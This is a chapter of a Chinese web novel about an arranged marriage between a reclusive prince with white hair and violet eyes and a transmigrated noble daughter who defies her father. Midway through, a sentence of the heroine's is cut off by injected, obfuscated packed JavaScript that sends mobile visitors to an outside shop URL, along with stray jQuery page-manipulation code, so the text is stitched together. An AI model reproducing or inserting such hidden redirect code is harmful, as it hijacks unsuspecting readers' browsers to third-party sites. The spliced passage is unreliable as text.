萧王府中为数不少的几个小厮在庭院洒扫。
扫帚划过石阶发出哗哗的声响,随即回归无边的寂寥。
南飞的鸟儿们归来于屋檐下筑巢,昭示冬去春来。礼朝百姓流传鸟儿们于屋檐下筑巢能为这户人家带来安宁和好运。
可萧王府中连鸟鸣声都很少听到。
明明立于最热闹繁华的京城,王府凄冷惨淡得如同活人的墓碑。
萧王裴玉容的近侍飞泉杵在屋外,里头萧王和太医贺之寻正说话。
贺之寻号完脉后心下了然:“殿下还需静养三月,陛下那边微臣知道怎么说。”
白色帷幔后的人收回手,“多谢。”
贺之寻余光瞥见帷幔后影影绰绰心下腹诽:“虽然要装作命不久矣的假象,但也不至于在府里还如此大费周章。”
“微臣才要感谢殿下知遇之恩。”
贺之寻虽说年轻有才华,但平日里在太医院施展不开手脚,只能做些称量药草的杂活。
幸而萧王引荐,贺之寻才能施展真本领。
院中的小厮早在门外等候,他低头恭恭敬敬接过药箱领着贺之寻出府。
屋内传来裴玉容的声音,飞泉进了屋中抱拳行礼。
“我叫你办的事情如何?”裴玉容声音低沉,听不出情绪。
“回禀殿下,属下查到夏府大小姐年幼丧母。元夫人去世半年后,夏文清大人就娶了现在的继夫人。”
飞泉顿了顿继续说:“继夫人的一对儿女出生后,夏文清大人更是对大小姐不闻不问。平日里大小姐和几个贴身侍女住在夏府最偏僻的明月斋,连下人都懒得去。”
帷幔后传来一声嗤笑:“夏文清这个昏聩无能的蠢材,平日里不是自诩慈父,怎地脑子里尽是卖女求荣的下作法子。”
“二小姐夏舒宁很受宠爱,府里下人都上赶着巴结二小姐和三公子。”
飞泉忽然想起什么。
“据府里下人说,大小姐一月前失足落水。夏文清只责骂了贴身侍女几句,而后不了了之。”
帷幔后裴玉容一言不发,看来他素未谋面的王妃同自己一样,都是被抛弃的弃子。
“还有一件事……”飞泉嗫喏,不知接下来的话当不当讲。
“下次再拖拖拉拉就直接出去领板子。”裴玉容带了些不耐烦。
飞泉吓得身子一颤,“属下在夏府碰巧偷听到大小姐身边的侍女在找人打听有关殿下的事。”
“哦,那侍女问了些什么?”裴玉容不咸不淡发问。
“无非是殿下身世相关,那下人说的并不全对,但八九不离十。”
飞泉对听到的问话内容还是有所保留。
裴玉容显然不相信他的话,轻笑道:“怎么,那侍女没问本王长什么样子吗?”
飞泉心下暗叫不好,嘴巴里“没有”刚吐露一半就被萧王的一声冷笑哽在咽喉中。
“说罢,本王不会罚你。”
“那活该拔舌头的下人说……殿下您样貌怪异,丑陋至极!”飞泉说完“砰”地一声跪伏在地。
帷幔后的裴玉容沉默无言,过了半晌才叹口气叫飞泉出去。
飞泉闻言如蒙大赦,擦了擦额头的冷汗后退出书房。
只着里衣的裴玉容掀开帷幔,视线正对妆台上的昭明镜。
他透过昭明镜仔细打量眼前白发紫眸的“异类”。
裴玉容出生时就是这副样貌,太医也说不出个因果。钦天监上言他是苍天对礼朝降下的惩罚,必定处之而后快。
裴玉容的生母,当今皇后拼死才留他一条性命。
更讽刺的是他的名字——玉容。
当今圣上只看了他一眼便厌恶地拂袖而去。父皇为他起这个名字只是为了叫他时刻警醒。
裴玉容还年幼时服侍的嬷嬷会悄悄替他染头发。
可即便这样,父皇和母后依旧对他那双闪着眸光的紫色眼瞳避之不及。
宫人们有意将铜镜藏起来,也避免带他去水池边玩耍。
一次裴玉容绕开宫人视线,独自跑到御花园的荷花池旁玩水。
年岁尚小的裴玉容凝望水中那双黛紫色的眼瞳,吓得脸色发白。
八岁他开府后终于察觉到自己天生白发。从那以后裴玉容不许府中出现铜镜,也会刻意回避水边。
这些年他年岁渐长、心智成熟,这才松口允准下人梳妆时用铜镜。
裴玉容回过神,瞥见铜镜中的人笑得牵强。
这样一张脸,没有人会喜欢的。
“萧王妃进府后就收拾后院里位置最好的摘星楼,由着她安心住下就是了。”裴玉容兀自思忖。
——
夏宝如听完风清回话,面如死灰。她拉过月白的披帛做上吊状。
风清吓得惊叫出声,“小姐!”
夏宝如双手松开披帛欲哭无泪。她可是坚定的颜值至上主义者!
夏宝如起身,脚上绑了枷锁般缓步移向美人榻。随即在月白和风清担忧的目光中木偶般倒在榻上。
风清和月白想着如何劝慰小姐,门外传来一道女声:“大小姐,老爷请您去正厅说话。”
夏宝如心下厌烦。
这个夏文清有什么话一下子说完不成吗?整天跑来跑去是怕她运动量不够吗?
夏宝如打发了传话的侍女后转念一想,也许她能为自己博得一线生机。
她现在一无所有,唯一可能依靠的就是原主与夏文清身上的血脉亲情。
有所行动总比坐以待毙多些许希望。
夏宝如叫风清为她梳了个中规中矩的发髻,月白替她在衣柜中寻了身素净的襦裙。夏宝如看向铜镜中清雅的女子微微发怔。
月白站在夏宝如身后看得愣神,“小姐姿容卓绝,真像九天之上的仙子呢!”
夏宝如扬了扬嘴角没说话,随后带着月白和风清再次往正厅去。
路上主仆三人好巧不巧在抄手游廊碰见宋菡一行人。
夏舒宁和夏怀义一早去踏青,想来两人也是刚得知赐婚不久。
二小姐夏舒宁躲在宋菡怀里掩面哭泣,三公子夏怀义跟在姐姐和母亲身后,急得像只没头苍蝇。
夏怀义先注意到夏宝如,一只手轻轻扯了扯母亲的衣袖。
夏舒宁和宋菡登时停在原地,面色难看。
夏怀义躲在母亲身后肆意打量平时闷声不吭的长姐,好奇她有怎样三头六臂的手段能够平步青云成了萧王妃。
夏舒宁顶着泛红的眼眶从母亲怀里挣脱开直嚷嚷:“都怪你!我不能嫁给太子哥哥了!”
宋菡心里纵有不满,有些话她这个做母亲的不能轻易开口,省得下人背地里嚼舌根。夏舒宁年纪还小,姊妹间闹矛盾再正常不过。
所以她由着夏舒宁对夏宝如不恭顺。
夏宝如睨了夏舒宁一眼,仿佛没听见话般带着侍女们径直离去。
夏舒宁瞧着夏宝如对她视而不见气不打一处来,指着她背影直跺脚:“母亲,您瞧她!”
夏宝如拐个弯听不见宋菡母子三人说话,身后的月白替她打抱不平:“小姐,刚才二小姐说得太过分了!您等会可要求老爷为您主持公道。”
夏宝如声
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861539|212019||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
音轻地像阵风,“夏舒宁年纪还小,看不懂其中的利害关系很正常。”
一言不发的风清歪歪头,她也开始搞不懂小姐话里的意思。
“她刚才能对着我直言得失,说明她还是有些莽撞的勇气。”
“小姐,您究竟在说什么?”月白被自家小姐搞糊涂了。怎么二小姐不恭敬的态度在大小姐心底变得可圈可点了?
夏宝如偏过头对两人笑笑,“本是同根生,相煎何太急。”
风清和月白恍然大悟。
原来大小姐还是念在骨肉亲情的份上不与二小姐计较。
月白打心底敬服大小姐冰清玉洁,九天之上的仙子在她家小姐面前不免自惭形秽。
夏宝如进了正厅对着上首的夏文清福身行礼。白日里高高在上的夏文清正和颜悦色地打量她。
“女儿啊,我同你母亲商量好了。你和萧王殿下的婚事由你母亲全权操持,你就放心好了!”
夏宝如闻言直直跪倒在地,“女儿不想嫁给萧王。”她说完重重磕了个头。
夏文清脸色大变,对夏宝如身后同样跪倒的月白和风清呵道:“你们还傻愣着干甚,还不快扶小姐起来!”
没等月白和风清来得及起身,夏宝如又重重磕了个头,“父亲如果不答应,女儿就长跪不起!”
夏文清脸上勉强维持笑意,耐着性子问道:“萧王殿下身份贵重,你嫁入皇室保了一辈子荣华富贵,你还有什么不满意的?”
“我连萧王面都没见过,我如何能嫁他?”夏宝如说完,脑海中浮现刚穿越时夏文清探望她应下的承诺。
“上月女儿失足落水,父亲看望女儿时曾亲口许诺实现女儿一个愿望。”夏宝如再磕头,“女儿不愿嫁与萧王,求父亲替女儿向圣上求情!”
夏文清阴沉着脸,“不行!这是皇上圣旨,岂能儿戏!”
“父亲,这门亲事本非女儿所求。只要不让女儿嫁给萧王,女儿愿意从今往后在父亲眼前消失,再不惹您心烦。”
夏文清眉头紧锁,身体往前倾,“胡闹也要懂分寸!皇上金口玉言,岂容你这等女儿家指手画脚。”
“是吗?”夏宝如听了夏文清的话失望透顶。
她自知皇命难违,但夏文清找了一大堆冠冕堂皇的借口粉饰太平。
夏宝如拍拍衣裙沾的灰兀自起身,“你这么说是想让我对你感恩戴德吗?”
“你怎么跟父亲说话呢,真是粗鄙无礼!”夏文清脸上挂不住。
“卖女求荣你说得很光彩不是吗?巴结太子不成转头就将我送给萧王当礼物。”夏宝如冷笑一声,“你这皇亲国戚当得真是轻松,还能从厌弃的女儿身上榨取好处!”
月白和风清看小姐和老爷针锋相对,魂飞了大半。
夏文清的心思被拆穿,面红耳赤说不出话来。
“说不出话,那就是被我说中了。”夏宝如干脆一股脑说个痛快,“从前十八年对我不闻不问,今日突然和我说为我求了门好亲事。”
她对夏文清自然没感情,她在替原主诘问眼前这个利欲熏心的生父。
夏文清双手攥成拳,气得牙关直打颤,“住嘴!你给我住嘴!”
夏宝如不依不饶,“你是石头永远雕不成美玉,没能力往上爬就送亲女儿换大好前程了吧!”
“来人呐!夏宝如从今日起关禁闭,没我命令谁都不许放小姐出来!”夏文清话音未落,夏宝如先笑道:“我自己会走,就不在夏大人面前碍眼了。”
月白和风清畏怯地看了眼上首气得面部扭曲的夏文清,一语不发地随夏宝如离去。